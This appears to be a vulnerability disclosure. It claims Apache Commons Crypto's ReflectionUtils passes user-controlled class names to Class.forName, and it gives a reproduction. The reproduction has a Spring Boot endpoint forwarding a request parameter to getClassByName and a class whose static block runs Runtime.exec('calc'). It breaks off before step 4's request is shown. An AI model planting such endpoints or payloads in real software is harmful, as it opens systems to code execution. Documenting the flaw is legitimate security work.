Apache Commons Crypto Code Execution Vulnerability

Apache Commons Crypto is an encryption library optimized using AES-NI (Advanced Encryption Standard New Instructions). Provides encryption level and stream level APIs. Developers can use minimal code to implement high-performance AES encryption and decryption applications.

But in commons crypto, there are reflection call points and the parameters are user controllable; No restrictions or verifications have been applied. When a user uses Crypto for program encryption and sets this parameter to be controllable by their user, there may be a code execution vulnerability.

Based on reflection code execution

In common crypto, there are reflection call points that are externally controllable. At line 107 of org/apache/common/crypto/utils/ReflectionUtils. java

The getClassByNameOrnull method directly brings the parameter name into Class. forName for code execution:

```
86  private static Class<?> getClassByNameOrNull(final String name) {
87      final Set<String> set = INIT_ERROR_CLASSES.computeIfAbsent(CLASS_LOADER, k -> Collections.sy
88
89      if (set.contains(name)) {
90          return null;
91      }
92
93      final Map<String, WeakReference<Class<?>>> map;
94
95      synchronized (CACHE_CLASSES) {
96          map = CACHE_CLASSES.computeIfAbsent(CLASS_LOADER, k -> Collections.synchronizedMap(new W
97      }
98
99      Class<?> clazz = null;
100     final WeakReference<Class<?>> ref = map.get(name);
101     if (ref != null) {
102         clazz = ref.get();
103     }
104
105     if (clazz == null) {
106         try {
107             clazz = Class.forName(name, initialize: true, CLASS_LOADER);
108         } catch (final ClassNotFoundException e) {
109             // Leave a marker that the class isn't found
110             map.put(name, new WeakReference<>(NEGATIVE_CACHE_SENTINEL));
111             return null;
112         } catch (final ExceptionInInitializerError error) {
113             // Leave a marker that the class initialization failed
114             set.add(name);
115             return null;
116         }
```

The follow-up call points are as follows: in the getClassName() method, receive the parameter name, and then place it in the getClassByNameOrNull() method:

```java
public static Class<?> getClassByName(final String name) throws ClassNotFoundException {
    final Class<?> ret = getClassByNameOrNull(name);
    if (ret == null) {
        if (INIT_ERROR_CLASSES.get(CLASS_LOADER).contains(name)) {
            throw new IllegalStateException("Class " + name + " initialization error");
        }
        throw new ClassNotFoundException("Class " + name + " not found");
    }
    return ret;
}
```

Recurrence of vulnerabilities

1. Create a springboot project and import dependencies

```xml
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-crypto</artifactId>
    <version>1.2.0</version>
</dependency>
```

2. Writing test classes:

```java
@GetMapping("/test")
    public void test(String test) throws ClassNotFoundException {
        ReflectionUtils.getClassByName(test);
    }
```

3. At the same time, write malicious classes in the project and increase the utilization chain:

```java
public class ClassExp {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    }
```

4. Call and execute as follows